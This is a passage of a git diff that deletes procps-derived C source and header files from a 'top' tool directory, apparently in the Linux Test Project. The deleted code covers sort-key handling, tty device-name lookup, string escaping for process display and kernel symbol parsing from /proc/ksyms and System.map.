-			sort_depth = 0;
-			for (i = 0; i < 10; i++) {
-				sort_direction[i] = 0;
-				sort_function[i] = (cmp_t) NULL;
-			}
-			return "Unknown sort key.";
-		} else {
-#ifdef DEBUG
-			fprintf(stderr,
-				"sort level %d: key %s, direction % d\n",
-				sort_depth, cmp[i].name, next_dir);
-#endif
-			sort_function[sort_depth] = (cmp_t) cmp[i].fun;
-			sort_direction[sort_depth++] = next_dir;
-			next_dir = 1;
-		}
-		opt = comma + 1;	/* do next loop on next key, if more keys, else done */
-	} while (more_keys);
-	return NULL;
-}
-
-void reset_sort_options(void)
-{
-	int i;
-
-	sort_depth = 0;
-	for (i = 0; i < 10; i++) {
-		sort_direction[i] = 0;
-		sort_function[i] = (cmp_t) NULL;
-	}
-}
-
-void register_sort_function(int dir, cmp_t func)
-{
-	sort_function[sort_depth] = func;
-	sort_direction[sort_depth++] = dir;
-}
diff --git a/tools/top-LTP/proc/compare.h b/tools/top-LTP/proc/compare.h
deleted file mode 100644
index 3056dc6..0000000
--- a/tools/top-LTP/proc/compare.h
+++ /dev/null
@@ -1,8 +0,0 @@
-typedef int (*cmp_t)(void*,void*);       /* for function pointer casts */
-
-extern void register_sort_function (int dir, cmp_t func);
-extern void reset_sort_options(void);
-extern int mult_lvl_cmp(void* a, void* b);
-extern const char *parse_sort_opt(const char* opt);
-extern const char *parse_long_sort(const char* opt);
-
diff --git a/tools/top-LTP/proc/devname.c b/tools/top-LTP/proc/devname.c
deleted file mode 100644
index f6717de..0000000
--- a/tools/top-LTP/proc/devname.c
+++ /dev/null
@@ -1,340 +0,0 @@
-/*
- * Copyright 1998-2002 by Albert Cahalan; all rights resered.
- * This file may be used subject to the terms and conditions of the
- * GNU Library General Public License Version 2, or any later version
- * at your option, as published by the Free Software Foundation.
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU Library General Public License for more details.
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <limits.h>
-#include <sys/sysmacros.h>
-#include "version.h"
-#include "devname.h"
-
-#ifndef PAGE_SIZE
-#define PAGE_SIZE sysconf(_SC_PAGE_SIZE)
-#endif
-
-/* Who uses what:
- *
- * tty_to_dev   oldps, w (there is a fancy version in ps)
- * dev_to_tty   oldps, top, ps
- */
-
-typedef struct tty_map_node {
-	struct tty_map_node *next;
-	int major_number;	/* not unsigned! Ugh... */
-	int minor_first, minor_last;
-	char name[16];
-	char devfs_type;
-} tty_map_node;
-
-static tty_map_node *tty_map = NULL;
-
-/* Load /proc/tty/drivers for device name mapping use. */
-static void load_drivers(void)
-{
-	char buf[10000];
-	char *p;
-	int fd;
-	int bytes;
-	fd = open("/proc/tty/drivers", O_RDONLY);
-	if (fd == -1)
-		goto fail;
-	bytes = read(fd, buf, sizeof(buf) - 1);
-	if (bytes == -1)
-		goto fail;
-	buf[bytes] = '\0';
-	p = buf;
-	while ((p = strstr(p, " /dev/"))) {
-		tty_map_node *tmn;
-		int len;
-		char *end;
-		p += 6;
-		end = strchr(p, ' ');
-		if (!end)
-			continue;
-		len = end - p;
-		tmn = calloc(1, sizeof(tty_map_node));
-		tmn->next = tty_map;
-		tty_map = tmn;
-		/* if we have a devfs type name such as /dev/tts/%d then strip the %d but
-		   keep a flag. */
-		if (len >= 3 && !strncmp(end - 2, "%d", 2)) {
-			len -= 2;
-			tmn->devfs_type = 1;
-		}
-		strncpy(tmn->name, p, len);
-		p = end;	/* set p to point past the %d as well if there is one */
-		while (*p == ' ')
-			p++;
-		tmn->major_number = atoi(p);
-		p += strspn(p, "0123456789");
-		while (*p == ' ')
-			p++;
-		switch (sscanf(p, "%d-%d", &tmn->minor_first, &tmn->minor_last)) {
-		default:
-			/* Can't finish parsing this line so we remove it from the list */
-			tty_map = tty_map->next;
-			free(tmn);
-			break;
-		case 1:
-			tmn->minor_last = tmn->minor_first;
-			break;
-		case 2:
-			break;
-		}
-	}
-fail:
-	if (fd != -1)
-		close(fd);
-	if (!tty_map)
-		tty_map = (tty_map_node *) - 1;
-}
-
-/* Try to guess the device name from /proc/tty/drivers info. */
-static int driver_name(char *restrict const buf, int maj, int min)
-{
-	struct stat sbuf;
-	tty_map_node *tmn;
-	if (!tty_map)
-		load_drivers();
-	if (tty_map == (tty_map_node *) - 1)
-		return 0;
-	tmn = tty_map;
-	for (;;) {
-		if (!tmn)
-			return 0;
-		if (tmn->major_number == maj && tmn->minor_first <= min
-		    && tmn->minor_last >= min)
-			break;
-		tmn = tmn->next;
-	}
-	sprintf(buf, "/dev/%s%d", tmn->name, min);	/* like "/dev/ttyZZ255" */
-	if (stat(buf, &sbuf) < 0) {
-		if (tmn->devfs_type)
-			return 0;
-		sprintf(buf, "/dev/%s", tmn->name);	/* like "/dev/ttyZZ255" */
-		if (stat(buf, &sbuf) < 0)
-			return 0;
-	}
-	if (min != minor(sbuf.st_rdev))
-		return 0;
-	if (maj != major(sbuf.st_rdev))
-		return 0;
-	return 1;
-}
-
-/* Try to guess the device name (useful until /proc/PID/tty is added) */
-static int guess_name(char *restrict const buf, int maj, int min)
-{
-	struct stat sbuf;
-	int t0, t1;
-	int tmpmin = min;
-	switch (maj) {
-	case 4:
-		if (min < 64) {
-			sprintf(buf, "/dev/tty%d", min);
-			break;
-		}
-		if (min < 128) {	/* to 255 on newer systems */
-			sprintf(buf, "/dev/ttyS%d", min - 64);
-			break;
-		}
-		tmpmin = min & 0x3f;	/* FALL THROUGH */
-	case 3:		/* /dev/[pt]ty[p-za-o][0-9a-z] is 936 */
-		t0 = "pqrstuvwxyzabcde"[tmpmin >> 4];
-		t1 = "0123456789abcdef"[tmpmin & 0x0f];
-		sprintf(buf, "/dev/tty%c%c", t0, t1);
-		break;
-	case 17:
-		sprintf(buf, "/dev/ttyH%d", min);
-		break;
-	case 19:
-		sprintf(buf, "/dev/ttyC%d", min);
-		break;
-	case 22:
-		sprintf(buf, "/dev/ttyD%d", min);
-		break;		/* devices.txt */
-	case 23:
-		sprintf(buf, "/dev/ttyD%d", min);
-		break;		/* driver code */
-	case 24:
-		sprintf(buf, "/dev/ttyE%d", min);
-		break;
-	case 32:
-		sprintf(buf, "/dev/ttyX%d", min);
-		break;
-	case 43:
-		sprintf(buf, "/dev/ttyI%d", min);
-		break;
-	case 46:
-		sprintf(buf, "/dev/ttyR%d", min);
-		break;
-	case 48:
-		sprintf(buf, "/dev/ttyL%d", min);
-		break;
-	case 57:
-		sprintf(buf, "/dev/ttyP%d", min);
-		break;
-	case 71:
-		sprintf(buf, "/dev/ttyF%d", min);
-		break;
-	case 75:
-		sprintf(buf, "/dev/ttyW%d", min);
-		break;
-	case 78:
-		sprintf(buf, "/dev/ttyM%d", min);
-		break;		/* conflict */
-	case 105:
-		sprintf(buf, "/dev/ttyV%d", min);
-		break;
-	case 112:
-		sprintf(buf, "/dev/ttyM%d", min);
-		break;		/* conflict */
-		/* 136 ... 143 are /dev/pts/0, /dev/pts/1, /dev/pts/2 ... */
-	case 136 ... 143:
-		sprintf(buf, "/dev/pts/%d", min + (maj - 136) * 256);
-		break;
-	case 148:
-		sprintf(buf, "/dev/ttyT%d", min);
-		break;
-	case 154:
-		sprintf(buf, "/dev/ttySR%d", min);
-		break;
-	case 156:
-		sprintf(buf, "/dev/ttySR%d", min + 256);
-		break;
-	case 164:
-		sprintf(buf, "/dev/ttyCH%d", min);
-		break;
-	case 166:
-		sprintf(buf, "/dev/ttyACM%d", min);
-		break;		/* bummer, 9-char */
-	case 172:
-		sprintf(buf, "/dev/ttyMX%d", min);
-		break;
-	case 174:
-		sprintf(buf, "/dev/ttySI%d", min);
-		break;
-	case 188:
-		sprintf(buf, "/dev/ttyUSB%d", min);
-		break;		/* bummer, 9-char */
-	default:
-		return 0;
-	}
-	if (stat(buf, &sbuf) < 0)
-		return 0;
-	if (min != minor(sbuf.st_rdev))
-		return 0;
-	if (maj != major(sbuf.st_rdev))
-		return 0;
-	return 1;
-}
-
-/* Linux 2.2 can give us filenames that might be correct.
- * Useful names could be in /proc/PID/fd/2 (stderr, seldom redirected)
- * and in /proc/PID/fd/255 (used by bash to remember the tty).
- */
-static int link_name(char *restrict const buf, int maj, int min, int pid,
-		     const char *restrict name)
-{
-	struct stat sbuf;
-	char path[32];
-	int count;
-	sprintf(path, "/proc/%d/%s", pid, name);	/* often permission denied */
-	count = readlink(path, buf, PAGE_SIZE - 1);
-	if (count == -1)
-		return 0;
-	buf[count] = '\0';
-	if (stat(buf, &sbuf) < 0)
-		return 0;
-	if (min != minor(sbuf.st_rdev))
-		return 0;
-	if (maj != major(sbuf.st_rdev))
-		return 0;
-	return 1;
-}
-
-/* number --> name */
-unsigned dev_to_tty(char *restrict ret, unsigned chop, int dev, int pid,
-		    unsigned int flags)
-{
-	static char buf[PAGE_SIZE];
-	char *restrict tmp = buf;
-	unsigned i = 0;
-	int c;
-	if ((short)dev == (short)0)
-		goto no_tty;
-	if (linux_version_code > LINUX_VERSION(2, 7, 0)) {	// not likely to make 2.6.xx
-		if (link_name(tmp, major(dev), minor(dev), pid, "tty"))
-			goto abbrev;
-	}
-	if (driver_name(tmp, major(dev), minor(dev)))
-		goto abbrev;
-	if (link_name(tmp, major(dev), minor(dev), pid, "fd/2"))
-		goto abbrev;
-	if (guess_name(tmp, major(dev), minor(dev)))
-		goto abbrev;
-	if (link_name(tmp, major(dev), minor(dev), pid, "fd/255"))
-		goto abbrev;
-	// fall through if unable to find a device file
-no_tty:
-	strcpy(ret, "?");
-	return 1;
-abbrev:
-	if ((flags & ABBREV_DEV) && !strncmp(tmp, "/dev/", 5) && tmp[5])
-		tmp += 5;
-	if ((flags & ABBREV_TTY) && !strncmp(tmp, "tty", 3) && tmp[3])
-		tmp += 3;
-	if ((flags & ABBREV_PTS) && !strncmp(tmp, "pts/", 4) && tmp[4])
-		tmp += 4;
-	/* gotta check before we chop or we may chop someone else's memory */
-	if (chop + (unsigned long)(tmp - buf) <= sizeof buf)
-		tmp[chop] = '\0';
-	/* replace non-ASCII characters with '?' and return the number of chars */
-	for (;;) {
-		c = *tmp;
-		tmp++;
-		if (!c)
-			break;
-		i++;
-		if (c <= ' ')
-			c = '?';
-		if (c > 126)
-			c = '?';
-		*ret = c;
-		ret++;
-	}
-	*ret = '\0';
-	return i;
-}
-
-/* name --> number */
-int tty_to_dev(const char *restrict const name)
-{
-	struct stat sbuf;
-	static char buf[32];
-	if (name[0] == '/' && stat(name, &sbuf) >= 0)
-		return sbuf.st_rdev;
-	snprintf(buf, 32, "/dev/%s", name);
-	if (stat(buf, &sbuf) >= 0)
-		return sbuf.st_rdev;
-	snprintf(buf, 32, "/dev/tty%s", name);
-	if (stat(buf, &sbuf) >= 0)
-		return sbuf.st_rdev;
-	snprintf(buf, 32, "/dev/pts/%s", name);
-	if (stat(buf, &sbuf) >= 0)
-		return sbuf.st_rdev;
-	return -1;
-}
diff --git a/tools/top-LTP/proc/devname.h b/tools/top-LTP/proc/devname.h
deleted file mode 100644
index b04bd90..0000000
--- a/tools/top-LTP/proc/devname.h
+++ /dev/null
@@ -1,17 +0,0 @@
-#ifndef PROC_DEVNAME_H
-#define PROC_DEVNAME_H
-
-#include "procps.h"
-
-EXTERN_C_BEGIN
-
-#define ABBREV_DEV  1     /* remove /dev/         */
-#define ABBREV_TTY  2     /* remove tty           */
-#define ABBREV_PTS  4     /* remove pts/          */
-
-extern unsigned dev_to_tty(char *restrict ret, unsigned chop, int dev, int pid, unsigned int flags);
-
-extern int tty_to_dev(const char *restrict const name);
-
-EXTERN_C_END
-#endif
diff --git a/tools/top-LTP/proc/escape.c b/tools/top-LTP/proc/escape.c
deleted file mode 100644
index 7c6a66b..0000000
--- a/tools/top-LTP/proc/escape.c
+++ /dev/null
@@ -1,193 +0,0 @@
-/*
- * Copyright 1998-2002 by Albert Cahalan; all rights resered.
- * This file may be used subject to the terms and conditions of the
- * GNU Library General Public License Version 2, or any later version
- * at your option, as published by the Free Software Foundation.
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU Library General Public License for more details.
- */
-#include <sys/types.h>
-#include <string.h>
-#include "procps.h"
-#include "escape.h"
-#include "readproc.h"
-
-// What it would be for a UTF-8 locale:
-// "Z-------------------------------"
-// "********************************"
-// "********************************"
-// "*******************************-"
-// "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"  Trailing UTF-8, and badness in 8-bit.
-// "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy"  Trailing UTF-8, and safe in 8-bit.
-// "--222222222222222222222222222222"
-// ".333333333333.3.44444444555566--"  The '.' means '3', with problem chars.
-//
-// Problems include non-shortest forms, UTF-16, and non-characters.
-// The 4-byte, 5-byte, and 6-byte sequences are full of trouble too.
-
-#if 0
-/* sanitize a string, without the nice BSD library function:     */
-/* strvis(vis_args, k->ki_args, VIS_TAB | VIS_NL | VIS_NOSLASH)  */
-int octal_escape_str(char *restrict dst, const char *restrict src, size_t n)
-{
-	unsigned char c;
-	char d;
-	size_t i;
-	const char codes[] = "Z------abtnvfr-------------e----" " *******************************"	/* better: do not print any space */
-	    "****************************\\***"
-	    "*******************************-"
-	    "--------------------------------"
-	    "********************************"
-	    "********************************"
-	    "********************************";
-	for (i = 0; i < n;) {
-		c = (unsigned char)*(src++);
-		d = codes[c];
-		switch (d) {
-		case 'Z':
-			goto leave;
-		case '*':
-			i++;
-			*(dst++) = c;
-			break;
-		case '-':
-			if (i + 4 > n)
-				goto leave;
-			i += 4;
-			*(dst++) = '\\';
-			*(dst++) = "01234567"[c >> 6];
-			*(dst++) = "01234567"[(c >> 3) & 07];
-			*(dst++) = "01234567"[c & 07];
-			break;
-		default:
-			if (i + 2 > n)
-				goto leave;
-			i += 2;
-			*(dst++) = '\\';
-			*(dst++) = d;
-			break;
-		}
-	}
-leave:
-	*(dst++) = '\0';
-	return i;
-}
-#endif
-
-/* sanitize a string via one-way mangle */
-int escape_str(char *restrict dst, const char *restrict src, int bufsize,
-	       int maxglyphs)
-{
-	unsigned char c;
-	int my_glyphs = 0;
-	int my_bytes = 0;
-	const char codes[] =
-	    "Z-------------------------------"
-	    "********************************"
-	    "********************************"
-	    "*******************************-"
-	    "--------------------------------"
-	    "********************************"
-	    "********************************"
-	    "********************************";
-
-	if (bufsize > maxglyphs + 1)
-		bufsize = maxglyphs + 1;	// FIXME: assumes 8-bit locale
-
-	for (;;) {
-		if (my_glyphs >= maxglyphs)
-			break;
-		if (my_bytes + 1 >= bufsize)
-			break;
-		c = (unsigned char)*(src++);
-		if (!c)
-			break;
-		if (codes[c] == '-')
-			c = '?';
-		my_glyphs++;
-		my_bytes++;
-		*(dst++) = c;
-	}
-	*(dst++) = '\0';
-	return my_bytes;	// bytes of text, excluding the NUL
-}
-
-/////////////////////////////////////////////////
-
-// escape an argv or environment string array
-//
-// bytes arg means sizeof(buf)
-int escape_strlist(char *restrict dst, const char *restrict const *restrict src,
-		   size_t bytes)
-{
-	size_t i = 0;
-
-//if (!*src) {        just never call this function without checking first
-//  do something nice
-//}
-
-	for (;;) {
-		i += escape_str(dst + i, *src, bytes - i, bytes - i);	// FIXME: byte/glyph
-		if (bytes - i < 3)
-			break;	// need room for space, a character, and the NUL
-		src++;
-		if (!*src)
-			break;	// need something to print
-		dst[i++] = ' ';
-	}
-	return i;		// bytes of text, excluding the NUL
-}
-
-///////////////////////////////////////////////////
-
-int escape_command(char *restrict const outbuf,
-		   const proc_t * restrict const pp, int bytes, int glyphs,
-		   unsigned flags)
-{
-	int overhead = 1;	// the trailing NUL
-	int end = 0;
-
-	if (bytes > glyphs + 1)
-		bytes = glyphs + 1;	// FIXME: assumes 8-bit locale
-
-	if (flags & ESC_ARGS) {
-		const char **lc = (const char **)pp->cmdline;
-		if (lc && *lc)
-			return escape_strlist(outbuf, lc, bytes);
-	}
-	if (flags & ESC_BRACKETS) {
-		overhead += 2;
-	}
-	if (flags & ESC_DEFUNCT) {
-		if (pp->state == 'Z')
-			overhead += 10;	// chars in " <defunct>"
-		else
-			flags &= ~ESC_DEFUNCT;
-	}
-	if (overhead >= bytes) {	// if no room for even one byte of the command name
-		// you'd damn well better have _some_ space
-		outbuf[0] = '-';
-		outbuf[1] = '\0';
-		return 1;
-	}
-	if (flags & ESC_BRACKETS) {
-		outbuf[end++] = '[';
-	}
-	end +=
-	    escape_str(outbuf + end, pp->cmd, bytes - overhead,
-		       glyphs - overhead + 1);
-
-	// Hmmm, do we want "[foo] <defunct>" or "[foo <defunct>]"?
-	if (flags & ESC_BRACKETS) {
-		outbuf[end++] = ']';
-	}
-	if (flags & ESC_DEFUNCT) {
-		memcpy(outbuf + end, " <defunct>", 10);
-		end += 10;
-	}
-
-	outbuf[end] = '\0';
-	return end;		// bytes or glyphs, not including the NUL
-}
diff --git a/tools/top-LTP/proc/escape.h b/tools/top-LTP/proc/escape.h
deleted file mode 100644
index 5ad3d42..0000000
--- a/tools/top-LTP/proc/escape.h
+++ /dev/null
@@ -1,23 +0,0 @@
-#ifndef PROCPS_PROC_ESCAPE_H
-#define PROCPS_PROC_ESCAPE_H
-
-//#include <stdio.h>
-#include <sys/types.h>
-#include "procps.h"
-#include "readproc.h"
-
-EXTERN_C_BEGIN
-
-#define ESC_ARGS     0x1  // try to use cmdline instead of cmd
-#define ESC_BRACKETS 0x2  // if using cmd, put '[' and ']' around it
-#define ESC_DEFUNCT  0x4  // mark zombies with " <defunct>"
-
-extern int escape_strlist(char *restrict dst, const char *restrict const *restrict src, size_t n);
-extern int escape_str(char *restrict dst, const char *restrict src, int bufsize, int maxglyphs);
-extern int octal_escape_str(char *restrict dst, const char *restrict src, size_t n);
-extern int simple_escape_str(char *restrict dst, const char *restrict src, size_t n);
-
-extern int escape_command(char *restrict const outbuf, const proc_t *restrict const pp, int bytes, int glyphs, unsigned flags);
-
-EXTERN_C_END
-#endif
diff --git a/tools/top-LTP/proc/ksym.c b/tools/top-LTP/proc/ksym.c
deleted file mode 100644
index 559edca..0000000
--- a/tools/top-LTP/proc/ksym.c
+++ /dev/null
@@ -1,720 +0,0 @@
-/*
- * Copyright 1998-2002 by Albert Cahalan; all rights reserved.
- * This file may be used subject to the terms and conditions of the
- * GNU Library General Public License Version 2, or any later version
- * at your option, as published by the Free Software Foundation.
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU Library General Public License for more details.
- */
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <time.h>
-#include <stdarg.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <unistd.h>
-#include <sys/stat.h>
-#include <sys/mman.h>
-#include <sys/utsname.h>
-#include "procps.h"
-#include "version.h"
-#include "sysinfo.h"		/* smp_num_cpus */
-
-#define KSYMS_FILENAME "/proc/ksyms"
-
-#if 0
-#undef KSYMS_FILENAME
-#define KSYMS_FILENAME  "/would/be/nice/to/have/this/file"
-#define SYSMAP_FILENAME "/home/albert/ps/45621/System.map-hacked"
-#define linux_version_code 131598	/* ? */
-#define smp_num_cpus 2
-#endif
-
-#if 0
-#undef KSYMS_FILENAME
-#define KSYMS_FILENAME  "/home/albert/ps/45621/ksyms-2.3.12"
-#define SYSMAP_FILENAME "/home/albert/ps/45621/System.map-2.3.12"
-#define linux_version_code 131852	/* 2.3.12 */
-#define smp_num_cpus 2
-#endif
-
-#if 0
-#undef KSYMS_FILENAME
-#define KSYMS_FILENAME  "/home/albert/ps/45621/ksyms-2.3.18ac8-MODVERS"
-#define SYSMAP_FILENAME "/home/albert/ps/45621/System.map-2.3.18ac8-MODVERS"
-#define linux_version_code 131858	/* 2.3.18ac8 */
-#define smp_num_cpus 2
-#endif
-
-#if 0
-#undef KSYMS_FILENAME
-#define KSYMS_FILENAME  "/home/albert/ps/45621/ksyms-2.3.18ac8-NOMODVERS"
-#define SYSMAP_FILENAME "/home/albert/ps/45621/System.map-2.3.18ac8-NOMODVERS"
-#define linux_version_code 131858	/* 2.3.18ac8 */
-#define smp_num_cpus 2
-#endif
-
-/* These are the symbol types, with relative popularity:
- *     ? w  machine type junk for Alpha -- odd syntax
- *     ? S  not for i386
- *     4 W  not for i386
- *    60 R
- *   100 A
- *   125 r
- *   363 s  not for i386
- *   858 B
- *   905 g  generated by modutils?
- *   929 G  generated by modutils?
- *  1301 b
- *  2750 D
- *  4481 d
- * 11417 ?
- * 13666 t
- * 15442 T
- *
- * For i386, that is: "RArBbDd?tT"
- */
-
-#define SYMBOL_TYPE_CHARS "Tt?dDbBrARGgsWS"
-
-/*
- * '?' is a symbol type
- * '.' is part of a name (versioning?)
- * "\t[]" are for the module name in /proc/ksyms
- */
-#define LEGAL_SYSMAP_CHARS "0123456789_ ?.\n\t[]" \
-                     "abcdefghijklmnopqrstuvwxyz" \
-                     "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
-
-/* System.map lines look like:
- * hex num, space, one of SYMBOL_TYPE_CHARS, space, LEGAL_SYSMAP_CHARS, \n
- *
- * Alpha systems can start with a few lines that have the address replaced
- * by space padding and a 'w' for the type. For those lines, the last space
- * is followed by something like: mikasa_primo_mv p2k_mv sable_gamma_mv
- * (just one of those, always with a "_mv", then the newline)
- *
- * The /proc/ksyms lines are like System.map lines w/o the symbol type char.
- * When odd features are used, the name part contains:
- * "(.*)_R(smp_|smp2gig_|2gig_)?[0-9a-fA-F]{8,}"
- * It is likely that more crap will be added...
- */
-
-typedef struct symb {
-	const char *name;
-	unsigned long addr;
-} symb;
-
-static const symb fail = { "?", 0 };
-
-static const char dash[] = "-";
-
-/* These mostly rely on POSIX to make them zero. */
-
-static symb hashtable[256];
-
-static char *sysmap_data;
-static unsigned sysmap_room;
-static symb *sysmap_index;
-static unsigned sysmap_count;
-
-static char *ksyms_data;
-static unsigned ksyms_room = 4096;
-static symb *ksyms_index;
-static unsigned ksyms_count;
-static unsigned idx_room;
-
-/*********************************/
-
-/* Kill this:  _R(smp_?|smp2gig_?|2gig_?)?[0-9a-f]{8,}$
- * We kill:    (_R[^A-Z]*[0-9a-f]{8,})+$
- *
- * The loop should almost never be taken, but it has to be there.
- * It gets rid of anything that _looks_ like a version code, even
- * if a real version code has already been found. This is because
- * the inability to perfectly recognize a version code may lead to
- * symbol mangling, which in turn leads to mismatches between the
- * /proc/ksyms and System.map data files.
- */
-#if 0
-static void chop_version(char *arg)
-{
-	char *cp;
-	cp = strchr(arg, '\t');
-	if (cp)
-		*cp = '\0';	/* kill trailing module name first */
-	for (;;) {
-		char *p;
-		int len = 0;
-		cp = strrchr(arg, 'R');
-		if (!cp || cp <= arg + 1 || cp[-1] != '_')
-			break;
-		for (p = cp; *++p;) {
-			switch (*p) {
-			default:
-				return;
-			case '0' ... '9':
-			case 'a' ... 'f':
-				len++;
-				continue;
-			case 'g' ... 'z':
-			case '_':
-				len = 0;
-				continue;
-			}
-		}
-		if (len < 8)
-			break;
-		cp[-1] = '\0';
-	}
-}
-#endif
-static void chop_version(char *arg)
-{
-	char *cp;
-	cp = strchr(arg, '\t');
-	if (cp)
-		*cp = '\0';	/* kill trailing module name first */
-	for (;;) {
-		int len;
-		cp = strrchr(arg, 'R');
-		if (!cp || cp <= arg + 1 || cp[-1] != '_')
-			break;
-		len = strlen(cp);
-		if (len < 9)
-			break;
-		if (strpbrk(cp + 1, "ABCDEFGHIJKLMNOPQRSTUVWXYZ"))
-			break;
-		if (strspn(cp + len - 8, "0123456789abcdef") != 8)
-			break;
-		cp[-1] = '\0';
-	}
-}
-
-/***********************************/
-
-static const symb *search(unsigned long address, symb * idx, unsigned count)
-{
-	unsigned left;
-	unsigned mid;
-	unsigned right;
-	if (!idx)
-		return NULL;	/* maybe not allocated */
-	if (address < idx[0].addr)
-		return NULL;
-	if (address >= idx[count - 1].addr)
-		return idx + count - 1;
-	left = 0;
-	right = count - 1;
-	for (;;) {
-		mid = (left + right) / 2;
-		if (address >= idx[mid].addr)
-			left = mid;
-		if (address <= idx[mid].addr)
-			right = mid;
-		if (right - left <= 1)
-			break;
-	}
-	if (address == idx[right].addr)
-		return idx + right;
-	return idx + left;
-}
-
-/*********************************/
-
-/* allocate if needed, read, and return buffer size */
-static void read_file(const char *restrict filename, char **bufp,
-		      unsigned *restrict roomp)
-{
-	int fd = 0;
-	ssize_t done;
-	char *buf = *bufp;
-	ssize_t total = 0;
-	unsigned room = *roomp;
-
-	if (!room)
-		goto hell;	/* failed before */
-	if (!buf)
-		buf = malloc(room);
-	if (!buf)
-		goto hell;
-open_again:
-	fd = open(filename, O_RDONLY | O_NOCTTY | O_NONBLOCK);
-	if (fd < 0) {
-		switch (errno) {
-		case EINTR:
-			goto open_again;
-		default:
-			_exit(101);
-		case EACCES:	/* somebody screwing around? */
-			/* FIXME: set a flag to disable symbol lookup? */
-		case ENOENT:;	/* no module support */
-		}
-		goto hell;
-	}
-	for (;;) {
-		done = read(fd, buf + total, room - total - 1);
-		if (done == 0)
-			break;	/* nothing left */
-		if (done == -1) {
-			if (errno == EINTR)
-				continue;	/* try again */
-			perror("");
-			goto hell;
-		}
-		if (done == (ssize_t) room - total - 1) {
-			char *tmp;
-			total += done;
-			/* more to go, but no room in buffer */
-			room *= 2;
-			tmp = realloc(buf, room);
-			if (!tmp)
-				goto hell;
-			buf = tmp;
-			continue;
-		}
-		if (done > 0 && done < (ssize_t) room - total - 1) {
-			total += done;
-			continue;	/* OK, we read some. Go do more. */
-		}
-		fprintf(stderr, "%ld can't happen\n", (long)done);
-		/* FIXME: memory leak */
-		_exit(42);
-	}
-	*bufp = buf;
-	*roomp = room;
-	close(fd);
-	return;
-hell:
-	free(buf);
-	*bufp = NULL;
-	*roomp = 0;		/* this function will never work again */
-	total = 0;
-	close(fd);
-	return;
-}
-
-/*********************************/
-
-static int parse_ksyms(void)
-{
-	char *endp;
-	if (!ksyms_room || !ksyms_data)
-		goto quiet_goodbye;
-	endp = ksyms_data;
-	ksyms_count = 0;
-	if (idx_room)
-		goto bypass;	/* some space already allocated */
-	idx_room = 512;
-	for (;;) {
-		void *vp;
-		idx_room *= 2;
-		vp = realloc(ksyms_index, sizeof(symb) * idx_room);
-		if (!vp)
-			goto bad_alloc;
-		ksyms_index = vp;
-bypass:
-		for (;;) {
-			char *saved;
-			if (!*endp)
-				return 1;
-			saved = endp;
-			ksyms_index[ksyms_count].addr =
-			    strtoul(endp, &endp, 16);
-			if (endp == saved || *endp != ' ')
-				goto bad_parse;
-			endp++;
-			ksyms_index[ksyms_count].name = endp;
-			saved = endp;
-			endp = strchr(endp, '\n');
-			if (!endp)
-				goto bad_parse;	/* no newline */
-			*endp = '\0';
-			chop_version(saved);
-			++endp;
-			if (++ksyms_count >= idx_room)
-				break;	/* need more space */
-		}
-	}
-
-	if (0) {
-bad_alloc:
-		fprintf(stderr, "Warning: not enough memory available\n");
-	}
-	if (0) {
-bad_parse:
-		fprintf(stderr, "Warning: " KSYMS_FILENAME " not normal\n");
-	}
-quiet_goodbye:
-	idx_room = 0;
-	if (ksyms_data)
-		free(ksyms_data), ksyms_data = NULL;
-	ksyms_room = 0;
-	if (ksyms_index)
-		free(ksyms_index), ksyms_index = NULL;
-	ksyms_count = 0;
-	return 0;
-}
-
-/*********************************/
-
-#define VCNT 16
-
-static int sysmap_mmap(const char *restrict const filename,
-		       void (*message) (const char *restrict, ...))
-{
-	struct stat sbuf;
-	char *endp;
-	int fd;
-	char Version[32];
-	fd = open(filename, O_RDONLY | O_NOCTTY | O_NONBLOCK);
-	if (fd < 0)
-		return 0;
-	if (fstat(fd, &sbuf) < 0)
-		goto bad_open;
-	if (!S_ISREG(sbuf.st_mode))
-		goto bad_open;
-	if (sbuf.st_size < 5000)
-		goto bad_open;	/* if way too small */
-	/* Would be shared read-only, but we want '\0' after each name. */
-	endp =
-	    mmap(0, sbuf.st_size + 1, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd,
-		 0);
-	sysmap_data = endp;
-	while (*endp == ' ') {	/* damn Alpha machine types */
-		if (strncmp(endp, "                 w ", 19))
-			goto bad_parse;
-		endp += 19;
-		endp = strchr(endp, '\n');
-		if (!endp)
-			goto bad_parse;	/* no newline */
-		if (strncmp(endp - 3, "_mv\n", 4))
-			goto bad_parse;
-		endp++;
-	}
-	if (sysmap_data == (caddr_t) - 1)
-		goto bad_open;
-	close(fd);
-	fd = -1;
-	sprintf(Version, "Version_%d", linux_version_code);
-	sysmap_room = 512;
-	for (;;) {
-		void *vp;
-		sysmap_room *= 2;
-		vp = realloc(sysmap_index, sizeof(symb) * sysmap_room);
-		if (!vp)
-			goto bad_alloc;
-		sysmap_index = vp;
-		for (;;) {
-			char *vstart;
-			if (endp - sysmap_data >= sbuf.st_size) {	/* if we reached the end */
-				int i = VCNT;	/* check VCNT times to verify this file */
-				if (*Version)
-					goto bad_version;
-				if (!ksyms_index)
-					return 1;	/* if can not verify, assume success */
-				while (i--) {
-#if 1
-					const symb *findme;
-					const symb *map_symb;
-					/* Choose VCNT entries from /proc/ksyms to test */
-					findme =
-					    ksyms_index +
-					    (ksyms_count * i / VCNT);
-					/* Search for them in the System.map */
-					map_symb =
-					    search(findme->addr, sysmap_index,
-						   sysmap_count);
-					if (map_symb) {
-						if (map_symb->addr !=
-						    findme->addr)
-							continue;
-						/* backup to first matching address */
-						while (map_symb != sysmap_index) {
-							if (map_symb->addr !=
-							    (map_symb -
-							     1)->addr)
-								break;
-							map_symb--;
